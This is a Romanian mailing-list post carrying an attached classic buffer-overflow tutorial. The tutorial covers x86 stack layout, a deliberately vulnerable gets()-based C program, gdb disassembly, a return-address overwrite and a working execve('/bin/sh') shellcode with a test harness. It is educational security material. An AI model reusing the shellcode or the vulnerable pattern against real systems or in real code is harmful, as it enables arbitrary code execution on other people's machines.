ma ashtept la flame-uri dupa publicarea articolului asta pe lista, dar
chiar nu am vazut nici unul scriss in limba romana shi consider ca multi
admini ar fi interesati! ;)

- halfdead


-- Attached file included as plaintext by Listar --
-- File: b0f.doc

Buffer Overflow (depashire de buffer)
-------------------------------------
de halfdead 


1.Introducere.

  Pe aceasta tema s-au scris zeci de articole,dar inca nu am intalnit nici
unul in limba romana.Sper ca acest articol sa ajute multi programatori romani.
  Depashirile de buffer din inputul utilizatorului au devenit unul dintre
cele mai mari riscuri de securitate din internet shi din informatica in
general.Aceste erori sunt foarte ushor de facut la programarea unei aplicatii
shi sunt foarte ushor de exploatat.Acest articol ishi propune sa invete
programatorul C cum se poate dovedi exploatabila o conditie de depashire.

 ACEST ARTICOL POATE FI DISTRIBUIT IN MOD LIBER ATATA TIMP CAT NU ESTE MODIFICAT
 IN NICI UN FEL,IAR NUMELE AUTORULUI ESTE PASTRAT.

2.Memoria.

  Principiul exploatarii unui buffer overflow este de a suprascrie portiuni
de memorie,care nu ar trebui sa fie suprascrise in mod normal,cu cod arbitrar 
iar apoi sa forteze procesul sa execute acel cod.Pentru a ne face o idee mai
precisa,haideti sa vedem cum e organizata memoria.O pagina este o parte de
memorie care foloseshte propria sa adresare relativa,ceea ce inseamna ca
kernelul aloca memorie initiala procesului,acesta putand sa o acceseze fara
sa shtie la ce adrese fizice se afla aceasta in RAM.Memoria procesului e
formata din :
   - segmentul de cod - datele care se regasesc aici fiind instructiuni
     assembler pe care le executa procesorul.Executia acestui cod nu este
     liniara,poate sari peste functii,sa cheme alte functii(call), sa execute
     jump in anumite conditii date.De aceea avem un pointer(EIP - Extended
     Instruction Pointer).Adresa pe care o contine EIP este intotdeauna adresa
     urmatoarei instructiuni executate.
   - segmentul de date - spatiu rezervat pentru variabile shi buffere dinamice
   - stiva - in care se incarca argumentele pentru a fi preluate de functii
     shi care mai e folosita shi ca spatiu pentru variabilele functiilor.
     Partea inferioara a stivei(inceputul) rezida deobicei la sfarshitul
     memoriei virtuale a paginii respective.Comanda asm PUSHL incarca un
     argument in varful stivei , in timp ce POPL scoate o valoare din
     varful stivei incarcandu-o intr-un registru.Pentru a accesa memoria
     stivei in mod direct exista registrul ESP(stack pointer) care contine 
     valoarea locatiei in memorie a varfului stivei.


3.Functii.

  O functie este o portiune de cod din segmentul de cod,care este chemata, 
indeplineshte o actiune,apoi se reintoarce la cursul normal al codului.Optional
pot fi parsate shi argumente unei functii.

adresa in memorie       cod
0x8054321 <main+x>      pushl $0x0
0x8054322               call $0x80543a0 <functia>
0x8054327               ret
0x8054328               leave
...
0x80543a0 <functia>     popl %eax
0x80543a1               addl $0x1337,%eax
0x80543a4               ret
   
  Dupa cum vedeti,functia principala cheama functia(0).Variabila este 0,main
o incarca in stiva shi cheama functia.Functia incarca variabila din stiva, 
intorcandu-se la adresa 0x8054327.
  In varful stivei avem buferrele interne shi variabilele functiei. Dupa
asta avem registrul EBP (4 bytes) salvat,iar apoi adresa de intoarcere care
este tot 4 bytes.Mai departe se gasesc argumentele functiei.In cazul de fata
adresa noastra de intoarcere este 0x8054327 shi este automat pastrata in
stiva cand functia este chemata.Aceasta adresa poate fi suprascrisa shi
fortzata sa adreseze orice adresa de memorie,daca este o depashire(overflow)
undeva in interiorul programului.


4.Exemplu de program exploatabil.

  Sa presupunem ca exploatam o functie de genul urmator

void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
main() { lame (); return 0; }

halfdead@cannabis:~/articole/own$ cc -ggdb test.c -o test
/tmp/cc3aXkVl.o: In function ame':
/home/halfdead/articole/own/test.c:1: the ets' function is dangerous and
should not be used.
halfdead@cannabis:~/articole/own$ gdb test
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048410 <main>:       push   %ebp
0x8048411 <main+1>:     mov    %esp,%ebp
0x8048413 <main+3>:     call   0x80483e8 <lame>
0x8048418 <main+8>:     xor    %eax,%eax
0x804841a <main+10>:    jmp    0x804841c <main+12>
0x804841c <main+12>:    leave
0x804841d <main+13>:    ret
End of assembler dump.
(gdb) disas lame
Dump of assembler code for function lame:
0x80483e8 <lame>:       push   %ebp
0x80483e9 <lame+1>:     mov    %esp,%ebp
/* mareshte stiva de 0x20.bufferul nostru are 30 de caractere dar memoria
alocata este de cate 4bytes ceea ce este echivalent cu char small[30]; */
0x80483eb <lame+3>:     sub    $0x20,%esp
/* incarca un pointer  catre adresa din stiva unde se afla small[30] shi
cheama functia gets. */
0x80483ee <lame+6>:     lea    0xffffffe0(%ebp),%eax
0x80483f1 <lame+9>:     push   %eax
0x80483f2 <lame+10>:    call   0x804830c <gets>
0x80483f7 <lame+15>:    add    $0x4,%esp
/* incarca adresa functiei small shi adresa shirului "%s\n" in stiva shi
cheama functia print */
0x80483fa <lame+18>:    lea    0xffffffe0(%ebp),%eax
0x80483fd <lame+21>:    push   %eax
0x80483fe <lame+22>:    push   $0x8048474
0x8048403 <lame+27>:    call   0x804833c <printf>
0x8048408 <lame+32>:    add    $0x8,%esp
/* ia din stiva adresa 0x80484d0 shi se intoarce la acea adresa.este facut
automat de catre procesor prin functia ret */
0x804840b <lame+35>:    leave
0x804840c <lame+36>:    ret
End of assembler dump.


5.Producem depashirea de buffer.

halfdead@cannabis:~/articole/own$ ./test
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
halfdead@cannabis:~/articole/own$ ./test
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
halfdead@cannabis:~/articole/own$ gdb test core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) info registers
     eax:       0x24          36
     ecx:  0x804852f   134513967
     edx:        0x1           1
     ebx:   0x11a3c8     1156040
     esp: 0xbffffdb8 -1073742408
     ebp:   0x414141     7895160 
              ^^^^^^

  EBP este 0x414141 ceea ce inseamna ca am bagat mai multe date in stiva
decat admitea bufferul de input.0x41 este reprezentarea in hexa lui 'A'.
Procesul avea un buffer de cel mult 32 bytes.Noi am scris in memorie mai
mult decat era alocat pentru introducerea datelor de catre utilizator, shi
prin urmare am suprascris EBP shi adresa de intoarcere cu 'AAAA' shi
procesul a incercat sa reporneasca cursul executiei de la adresa 0x414141
ceea ce a avut ca rezultat Segmentation Fault.


6.Schimbarea adresei de intoarcere.
  
  Sa incercam sa exploatam programul astfel incat sa reporneasca executia de
la lame() in loc sa se intoarca.Trebuie doar sa schimbam adresa de
intoarcere din 0x80484d0 in 0x80484cb .
  Exemplul urmator baga o adresa de intoarcere de 4 bytes intr-un buffer de
1 byte.

halfdead@cannabis:~/articole/own$ cat blah.c
main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}


7.Shellcode.

  Shellcode-ul este o succesiune de instructiuni assembler pe care le scriem
in stiva shi apoi schimbam adresa de intoarcere sa arate catre stiva. Prin
aceasta metoda putem insera cod intr-un proces vulnerabil dupa care sa il
executam chiar in stiva.Sa vedem cum executam un shell... ;) Cel mai folosit
system call este execve care executa orice binar,terminand executia procesu-
lui curent.
int  execve  (const  char  *filename, char *const argv [], char *const envp[]);
Folosim din nou gdb pentru a dezasambla functia execve:

halfdead@cannabis:~$ gdb /lib/libc.so.6
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) disas execve
Dump of assembler code for function __execve:
0x5da00 <execve>:       pushl  %ebx
/* syscallul propriu-zis. inainte ca un program sa cheme execve, va incarca
in stiva argumentele in ordine inversa: **envp, **argv, *filename */
/* adresa lui **envp in edx */
0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx
/* adresa lui **argv in ecx */
0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx
/* adresa lui *filename in ebx */
0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx
/* se incarca in eax 0xb,care este adresa propriu-zisa pentru execve in
tabela de syscall */
0x5da0d <execve+13>:    movl   $0xb,%eax
/* se paseaza controlul catre kernel pentru a executa execve */
0x5da12 <execve+18>:    int    $0x80

0x5da14 <execve+20>:    popl   %ebx
0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax
0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error>
0x5da1c <execve+28>:    ret
End of assembler dump.


7.1.Sa facem codul portabil.

  Pentru a reushi sa facem shellcode-ul fara a fi necesar sa se faca
referire catre argumentele din memorie intr-un mod conventional,accesand
adresa lor exacta in pagina de memorie,lucru care poate fi facut doar la
compilare,trebuie sa ne folosim de o mica shmekerie. ;)
  O data ce putem estima marimea shellcode-ului putem sa folosim
instructiunile jmp <bytes> shi call <bytes> pentru a avansa sau devansa
executia cu <bytes> numar de bytes.De ce sa folosim instructiunea call?!
CALL incarca automat adresa de returnare in stiva,urmatorii 4 bytes de dupa
call reprezentand aceasta adresa.Punand o variabila dupa call,salvam in
stiva adresa ei fara a fi necesar sa shtim acea variabila.

   jmp <bytes>
   popl %esi
   .........
   call <-bytes+2>
   .string (variabile)


7.2.Exemplu de shellcode.
 
  .data
.globl inceput
.globl sfarshit

inceput:
        jmp  call_start
start:  popl %esi
        movl %esi,0x8(%esi)
        xorl %eax,%eax             /* facem eax = 0    */
        movb %eax,0x7(%esi)        /* scriem 0 peste X */
        movl %eax,0xc(%esi)
my_execve:
        movb $0xb,%al              /* execve (         */
        movl %esi,%ebx             /* "/bin/sh",       */
        leal 0x8(%esi),%ecx        /* & din "/bin/sh", */
        xorl %edx,%edx             /* NULL             */
        int $0x80                  /* );               */
ieshi:  xorl %eax,%eax
        movb $1,%al
        int 0x80
call_start:
        call start
.string "/bin/shX"
sfarshit:

  Acest shellcode functioneaza,deshi este foarte simplificat.Arta scrierii
de shellcode-uri consta in evitarea lui zero binar in cod,care deobicei
semnifica sfarshitul bufferului,sau modificarea codului binar astfel incat
sa nu contina caractere de control sau litere mici sau mari(care pot fi
filtrate de unele programe vulnerabile).Acest lucru este realizat in
principal de codul automorf:
        xorl %eax,%eax
        movb %eax,0x7(%esi)
prin acest cod am inlocuit X-ul din "/bin/shX" cu \0 fara a avea un zero
binar in codul initial.
  Sa testam shellcode-ul sa vedem daca functioneaza...Pentru aceasta avem
nevoie de urmatorul programel(se salveaza shellcode-ul ca shllcd.S):

extern void inceput();
extern void sfarshit();
#include <stdio.h>
main ()
{
  ((void (*)(void)) inceput)();
}

halfdead@cannabis:~$ cc -o code shllcd.S code.c
halfdead@cannabis:~$ ./code
halfdead@cannabis:~$

  Merge...Acum puteti converti shellcode-ul in caractere hexa.Cel mai bun
mod de a face asta este gas2hex,utilitar care poate fi gasit pe
http://cannabis.daphnes.ro/~halfdead.


8.Alte idei.
  
  Exista multe programe care sunt greu de exploatat,dar totushi sunt
vulnerabile.Oricum,exista multe 'smecherii' care reushesc sa pacaleasca
filtrele shi alte mecanisme prezente in programele vulnerabile care pot face
shellcode-ul sa nu functioneze.Exista shi alte tehnici de overflow care nu
au nevoie sa schimbe adresa de intoarcere sau altele la care trebuie sa
schimbi doar aceasta adresa.Acestea se numesc pointer overflows,unde un
pointer alocat de catre o functie poate fi suprascris cu un overflow,
alterand cursul normal al executiei.Exista shi exploituri unde adresa de
intoarcere arata spre pointerul mediului shellului,unde se afla shellcode-ul
in loc sa se afle in stiva.
  Un alt subiect important pentru un scriitor experimentat de shellcode,
este de departe codul automorf,care initial consta in caractere printabile,
litere mici iar apoi se modifica pentru a pune shellcode-ul functional in
stiva pe care apoi o executa.
  De retinut e faptul ca *NICIODATA* shellcode-ul nu trebuie sa contina zero
binar,pentru ca altfel s-ar putea sa nu functioneze.Am intalnit odata un
program vulnerabil care avea un filtru care nu permitea decat caractere
intre 0 shi 128.Dupa cum va dati seama,multe instructiuni assembler nu se
incadreaza in aceste limite(ex. instructiunea mov care este foarte
importanta).Acest lucru poate fi realizat prin substituirea acelor
instructiuni cu unele similare dar care se afla in aceste limite.Dar tratand
acest subiect ne indepartam de subiectul acestui articol. ;)


9.Incheiere.
  
  A venit vremea sa inchei acest articol...Tin sa mentionez ca acest articol 
este destinat in principal coderilor shi programatorilor.Am scris acest
articol in pur scop educativ.Daca aveti plangeri/sugestii/sesizari folositi
acest program ca sa mi le trimiteti:

halfdead@cannabis:~$ cat > trimite
#!/bin/bash
if [ $# -lt 1 ]; then
    echo "sintaxa : ./trimite <plangeri|sugestii|sesizari>"
    exit
fi
mv $1 /dev/null
echo am trimis...
Ctrl^D
halfdead@cannabis:~$ 

  Va multumesc.

halfdead <[EMAIL PROTECTED]>
http://cannabis.daphnes.ro/~halfdead


---
Send e-mail to '[EMAIL PROTECTED]' with 'unsubscribe rlug' to 
unsubscribe from this list.

Raspunde prin e-mail lui